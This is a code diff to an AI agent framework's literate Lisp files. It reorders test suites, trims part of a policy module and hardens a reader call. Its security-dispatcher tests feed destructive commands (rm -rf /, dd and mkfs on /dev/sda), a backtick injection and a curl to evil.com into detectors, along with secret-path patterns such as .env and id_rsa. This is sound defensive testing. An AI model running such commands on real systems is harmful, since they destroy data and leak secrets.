+    (is (eq (getf result :status) :error))))
+
+;; eval-form
+(test test-eval-form-arithmetic
+  "Contract 10: eval-form evaluates a Lisp expression."
+  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (search "3" (getf result :content)))))
+
+(test test-eval-form-missing-params
+  "eval-form returns error without :code."
+  (let ((result (call-tool 'eval-form)))
+    (is (eq (getf result :status) :error))))
+
+;; org-modify-file
+(test test-org-modify-file-replace
+  "Contract 13: org-modify-file replaces exact text in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "doc.org" dir)))
+    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "TODO" :new-text "WAITING")))
+      (is (eq (getf result :status) :success))
+      (is (search "WAITING" (uiop:read-file-string file))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-not-found
+  "org-modify-file returns error when text not in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "file.org" dir)))
+    (tools-write-file file "some content")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "not-in-file" :new-text "anything")))
+      (is (eq (getf result :status) :error))
+      (is (search "not found" (getf result :message))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-missing-params
+  "org-modify-file returns error without required params."
+  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
+    (is (eq (getf result :status) :error))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -639,182 +815,6 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
     (setf *modified-files-this-turn* nil)))
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-tools-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:programming-tools-suite))
-
-(in-package :passepartout-programming-tools-tests)
-
-(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
-(in-suite programming-tools-suite)
-
-(defun tools-tmpdir ()
-  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
-    (uiop:ensure-all-directories-exist (list d))
-    d))
-
-(defun tools-cleanup ()
-  (let ((d (tools-tmpdir)))
-    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
-
-(defun tools-write-file (filepath content)
-  (uiop:ensure-all-directories-exist (list filepath))
-  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
-    (write-string content stream)))
-
-(defun call-tool (tool-name &rest args)
-  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
-    (unless tool (error "Tool ~a not found" tool-name))
-    (funcall (cognitive-tool-body tool) args)))
-
-;; search-files
-(test test-search-files-finds-matches
-  "Contract 1: search-files finds lines matching a regex pattern."
-  (let* ((dir (tools-tmpdir))
-         (file-a (merge-pathnames "src-a.lisp" dir))
-         (file-b (merge-pathnames "src-b.lisp" dir)))
-    (tools-write-file file-a "(defun foo () 'hello)")
-    (tools-write-file file-b "(defun bar () 'world)")
-    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
-      (is (eq (getf result :status) :success))
-      (is (search "src-a.lisp:1:" (getf result :content)))
-      (is (search "src-b.lisp:1:" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-search-files-missing-params
-  "search-files returns error when required params are missing."
-  (let ((result (call-tool 'search-files :pattern "x")))
-    (is (eq (getf result :status) :error))))
-
-;; find-files
-(test test-find-files-by-extension
-  "Contract 5: find-files returns files matching a glob."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "c.org" dir) "test")
-    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "a.lisp" (getf result :content)))
-      (is (search "b.lisp" (getf result :content)))
-      (is (not (search "c.org" (getf result :content)))))
-    (tools-cleanup)))
-
-(test test-find-files-missing-params
-  "find-files returns error without required params."
-  (let ((result (call-tool 'find-files :pattern "*.lisp")))
-    (is (eq (getf result :status) :error))))
-
-;; read-file
-(test test-read-file-full
-  "Contract 6: read-file returns full file contents."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "readme.txt" dir)))
-    (tools-write-file file (format nil "line one~%line two~%line three"))
-    (let ((result (call-tool 'read-file :filepath (namestring file))))
-      (is (eq (getf result :status) :success))
-      (is (search "line one" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-read-file-missing-params
-  "read-file returns error without :filepath."
-  (let ((result (call-tool 'read-file)))
-    (is (eq (getf result :status) :error))))
-
-;; write-file
-(test test-write-file-creates
-  "Contract 7: write-file creates file with content."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "output.txt" dir)))
-    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
-      (is (eq (getf result :status) :success))
-      (is (search "11 bytes" (getf result :content))))
-    (is (string-equal "hello world" (uiop:read-file-string file)))
-    (tools-cleanup)))
-
-(test test-write-file-missing-params
-  "write-file returns error without required params."
-  (let ((result (call-tool 'write-file :content "x")))
-    (is (eq (getf result :status) :error))))
-
-;; list-directory
-(test test-list-directory-all
-  "Contract 8: list-directory returns all entries."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
-    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
-    (let ((result (call-tool 'list-directory :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "alpha.txt" (getf result :content)))
-      (is (search "beta.txt" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-list-directory-missing-params
-  "list-directory returns error without :path."
-  (let ((result (call-tool 'list-directory)))
-    (is (eq (getf result :status) :error))))
-
-;; run-shell
-(test test-run-shell-echo
-  "Contract 9: run-shell executes a command and returns output."
-  (let ((result (call-tool 'run-shell :cmd "echo hello")))
-    (is (eq (getf result :status) :success))
-    (is (search "hello" (getf result :content)))))
-
-(test test-run-shell-missing-params
-  "run-shell returns error without :cmd."
-  (let ((result (call-tool 'run-shell)))
-    (is (eq (getf result :status) :error))))
-
-;; eval-form
-(test test-eval-form-arithmetic
-  "Contract 10: eval-form evaluates a Lisp expression."
-  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (search "3" (getf result :content)))))
-
-(test test-eval-form-missing-params
-  "eval-form returns error without :code."
-  (let ((result (call-tool 'eval-form)))
-    (is (eq (getf result :status) :error))))
-
-;; org-modify-file
-(test test-org-modify-file-replace
-  "Contract 13: org-modify-file replaces exact text in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "doc.org" dir)))
-    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "TODO" :new-text "WAITING")))
-      (is (eq (getf result :status) :success))
-      (is (search "WAITING" (uiop:read-file-string file))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-not-found
-  "org-modify-file returns error when text not in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "file.org" dir)))
-    (tools-write-file file "some content")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "not-in-file" :new-text "anything")))
-      (is (eq (getf result :status) :error))
-      (is (search "not found" (getf result :message))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-missing-params
-  "org-modify-file returns error without required params."
-  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
-    (is (eq (getf result :status) :error))))
-#+end_src
-
 * v0.8.0 Tests — Modified Files Tracking
 #+begin_src lisp
 (in-package :passepartout-programming-tools-tests)

org/security-dispatcher.org

@@ -80,6 +80,196 @@ daemon restarts — it tracks what happened /this/ session, which is what the
 sidebar shows. Historical block telemetry belongs in the telemetry system
 (v0.12.0).
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-dispatcher-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:dispatcher-suite))
+
+(in-package :passepartout-security-dispatcher-tests)
+
+(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
+(in-suite dispatcher-suite)
+
+(test test-wildcard-match
+  "Contract 1: wildcard pattern * matches any characters."
+  (is (wildcard-match "*.env" ".env"))
+  (is (wildcard-match "*.env" "prod.env"))
+  (is (wildcard-match "*credential*" "my-credential-file"))
+  (is (wildcard-match "*.key" "id_rsa.key"))
+  (is (not (wildcard-match "*.env" "config.yaml"))))
+
+(test test-check-secret-path
+  "Contract 2: dispatcher-check-secret-path matches protected patterns."
+  (is (dispatcher-check-secret-path ".env"))
+  (is (dispatcher-check-secret-path "id_rsa"))
+  (is (not (dispatcher-check-secret-path "README.org"))))
+
+(test test-self-build-core-protection
+  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
+  ;; Core paths are recognized
+  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
+  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
+  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
+  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
+  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
+    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :approval-required (getf result :level)))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
+    ;; With SELF_BUILD_MODE=false (default), writes pass through
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :REQUEST (getf result :type))))))
+
+(test test-check-shell-safety
+  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
+  (is (dispatcher-check-shell-safety "rm -rf /"))
+  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
+  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
+  (is (not (dispatcher-check-shell-safety "echo hello world")))
+  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
+
+(test test-shell-safety-severity-catastrophic
+  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
+  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
+        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
+    (is (eq :catastrophic (getf r1 :severity)))
+    (is (eq :catastrophic (getf r2 :severity)))))
+
+(test test-shell-safety-severity-dangerous
+  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
+  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
+    (is (eq :dangerous (getf result :severity)))))
+
+(test test-shell-safety-severity-safe
+  "Contract 3/v0.4.3: harmless commands return nil."
+  (is (null (dispatcher-check-shell-safety "echo hello world")))
+  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
+  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
+
+(test test-dispatcher-severity-max
+  "dispatcher-severity-max returns the higher tier."
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
+  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
+  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
+
+(test test-check-privacy-tags
+  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
+  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
+  (is (dispatcher-check-privacy-tags '("@personal")))
+  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
+
+(test test-check-network-exfil
+  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
+  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
+  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
+  (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
+    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "write-file"
+                                            :description "File writer"
+                                            :parameters nil
+                                            :guard nil
+                                            :body nil
+                                            :read-only-p nil))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+           (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                  (result (dispatcher-check action nil)))
+             (is (eq :approval-required (getf result :level)))
+             (is (search "HITL" (getf (getf result :payload) :message)))))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+      (if orig-tool
+          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
+          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -603,7 +793,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
              (action-str (getf attrs :ACTION)))
         (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
           (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
-          (let ((action (ignore-errors (read-from-string action-str))))
+          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
             (when action
               (setf (getf action :approved) t)
               (stimulus-inject (list :type :EVENT
@@ -802,196 +992,6 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
     (list :total total :by-gate sorted)))
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-dispatcher-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:dispatcher-suite))
-
-(in-package :passepartout-security-dispatcher-tests)
-
-(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
-(in-suite dispatcher-suite)
-
-(test test-wildcard-match
-  "Contract 1: wildcard pattern * matches any characters."
-  (is (wildcard-match "*.env" ".env"))
-  (is (wildcard-match "*.env" "prod.env"))
-  (is (wildcard-match "*credential*" "my-credential-file"))
-  (is (wildcard-match "*.key" "id_rsa.key"))
-  (is (not (wildcard-match "*.env" "config.yaml"))))
-
-(test test-check-secret-path
-  "Contract 2: dispatcher-check-secret-path matches protected patterns."
-  (is (dispatcher-check-secret-path ".env"))
-  (is (dispatcher-check-secret-path "id_rsa"))
-  (is (not (dispatcher-check-secret-path "README.org"))))
-
-(test test-self-build-core-protection
-  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
-  ;; Core paths are recognized
-  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
-  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
-  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
-  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
-  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
-    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :approval-required (getf result :level)))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
-    ;; With SELF_BUILD_MODE=false (default), writes pass through
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :REQUEST (getf result :type))))))
-
-(test test-check-shell-safety
-  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
-  (is (dispatcher-check-shell-safety "rm -rf /"))
-  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
-  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
-  (is (not (dispatcher-check-shell-safety "echo hello world")))
-  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
-
-(test test-shell-safety-severity-catastrophic
-  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
-  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
-        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
-    (is (eq :catastrophic (getf r1 :severity)))
-    (is (eq :catastrophic (getf r2 :severity)))))
-
-(test test-shell-safety-severity-dangerous
-  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
-  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
-    (is (eq :dangerous (getf result :severity)))))
-
-(test test-shell-safety-severity-safe
-  "Contract 3/v0.4.3: harmless commands return nil."
-  (is (null (dispatcher-check-shell-safety "echo hello world")))
-  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
-  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
-
-(test test-dispatcher-severity-max
-  "dispatcher-severity-max returns the higher tier."
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
-  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
-  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
-
-(test test-check-privacy-tags
-  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
-  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
-  (is (dispatcher-check-privacy-tags '("@personal")))
-  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
-
-(test test-check-network-exfil
-  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
-  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
-  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
-  (is (not (dispatcher-check-network-exfil "echo hello"))))
-
-;; ── v0.7.2 Tag Stack ──
-
-(test test-tag-categories-load
-  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
-  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
-  (passepartout::tag-categories-load)
-  (let ((cats passepartout::*tag-categories*))
-    (is (>= (length cats) 1))
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :warn (passepartout::tag-category-severity "@draft")))
-    (is (eq :log (passepartout::tag-category-severity "@review"))))
-  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
-
-(test test-tag-category-severity-unknown
-  "Contract v0.7.2: unknown tag returns nil."
-  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
-
-(test test-privacy-severity-block
-  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
-  (setf passepartout::*tag-categories* '(("@personal" . :block)))
-  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
-
-(test test-privacy-severity-warn
-  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
-  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
-  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
-
-(test test-privacy-severity-nil
-  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
-  (setf passepartout::*tag-categories* nil)
-  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
-
-(test test-tag-trigger-record
-  "v0.7.2: tag-trigger-record increments per-tag count."
-  (clrhash passepartout::*tag-trigger-count*)
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@draft")
-  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
-  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
-  (clrhash passepartout::*tag-trigger-count*))
-
-(test test-tag-categories-privacy-fallback
-  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
-  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
-        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
-        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
-        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
-    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
-    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
-    (sb-posix:unsetenv "TAG_CATEGORIES")
-    (passepartout::tag-categories-load)
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :block (passepartout::tag-category-severity "@draft")))
-    ;; Restore
-    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
-    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
-    (passepartout::tag-categories-load)))
-
-(test test-safe-tool-read-only-auto-approve
-  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
-  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "test-ro-tool"
-                                          :description "Read-only test"
-                                          :parameters nil
-                                          :guard nil
-                                          :body nil
-                                          :read-only-p t))
-  (unwind-protect
-       (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
-              (result (dispatcher-check action nil)))
-         (is (eq :REQUEST (getf result :type)))
-         (is (not (member (getf result :type) '(:LOG :approval-required)))))
-    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
-
-(test test-safe-tool-write-still-checked
-  "Contract v0.7.2: write tools still go through full dispatcher check."
-  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
-    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "write-file"
-                                            :description "File writer"
-                                            :parameters nil
-                                            :guard nil
-                                            :body nil
-                                            :read-only-p nil))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-           (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
-                  (result (dispatcher-check action nil)))
-             (is (eq :approval-required (getf result :level)))
-             (is (search "HITL" (getf (getf result :payload) :message)))))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
-      (if orig-tool
-          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
-          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
-#+end_src
-
 * v0.8.0 Tests — Block Counts
 #+begin_src lisp
 (in-package :passepartout-security-dispatcher-tests)

org/security-permissions.org

@@ -25,6 +25,39 @@ consults this table as one of its ten scan vectors.
 - Does NOT persist permissions to disk — this is runtime-only.
 - Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~.
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-permissions-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:permissions-suite))
+
+(in-package :passepartout-security-permissions-tests)
+
+(def-suite permissions-suite :description "Verification of Tool Permissions")
+(in-suite permissions-suite)
+
+(test test-permission-round-trip
+  "Contract 1: permission-set stores a level; permission-get retrieves it."
+  (permission-set "test-tool" :allow)
+  (is (eq :allow (permission-get "test-tool")))
+  ;; Clean up
+  (permission-set "test-tool" nil))
+
+(test test-permission-default
+  "Contract 2: unregistered tools default to :ask."
+  (is (eq :ask (permission-get "never-registered-tool-xyz"))))
+
+(test test-permission-case-insensitive
+  "Contract 3: tool names are normalized to lowercase."
+  (permission-set :CapitalTool :deny)
+  (is (eq :deny (permission-get :capitaltool)))
+  (permission-set "CapitalTool" nil))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -64,35 +97,3 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-permissions-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:permissions-suite))
-
-(in-package :passepartout-security-permissions-tests)
-
-(def-suite permissions-suite :description "Verification of Tool Permissions")
-(in-suite permissions-suite)
-
-(test test-permission-round-trip
-  "Contract 1: permission-set stores a level; permission-get retrieves it."
-  (permission-set "test-tool" :allow)
-  (is (eq :allow (permission-get "test-tool")))
-  ;; Clean up
-  (permission-set "test-tool" nil))
-
-(test test-permission-default
-  "Contract 2: unregistered tools default to :ask."
-  (is (eq :ask (permission-get "never-registered-tool-xyz"))))
-
-(test test-permission-case-insensitive
-  "Contract 3: tool names are normalized to lowercase."
-  (permission-set :CapitalTool :deny)
-  (is (eq :deny (permission-get :capitaltool)))
-  (permission-set "CapitalTool" nil))
-#+end_src

org/security-policy.org

@@ -24,38 +24,6 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
 - Does NOT validate explanation quality — only length and presence.
 - Does NOT consider ~context~ — implementation ignores it currently.
 
-* Implementation
-
-** Package Context
-#+begin_src lisp
-(in-package :passepartout)
-#+end_src
-
-** Policy Logic (policy-compliance-check)
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun policy-compliance-check (action context)
-  "Enforces constitutional invariants on proposed actions."
-  (declare (ignore context))
-  (let* ((payload (proto-get action :payload))
-         (explanation (proto-get payload :explanation)))
-    (if (and explanation (stringp explanation) (> (length explanation) 10))
-        action
-        (progn
-          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
-          (list :type :LOG
-                :payload (list :level :warn
-                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
-#+end_src
-
-** Skill Registration
-#+begin_src lisp
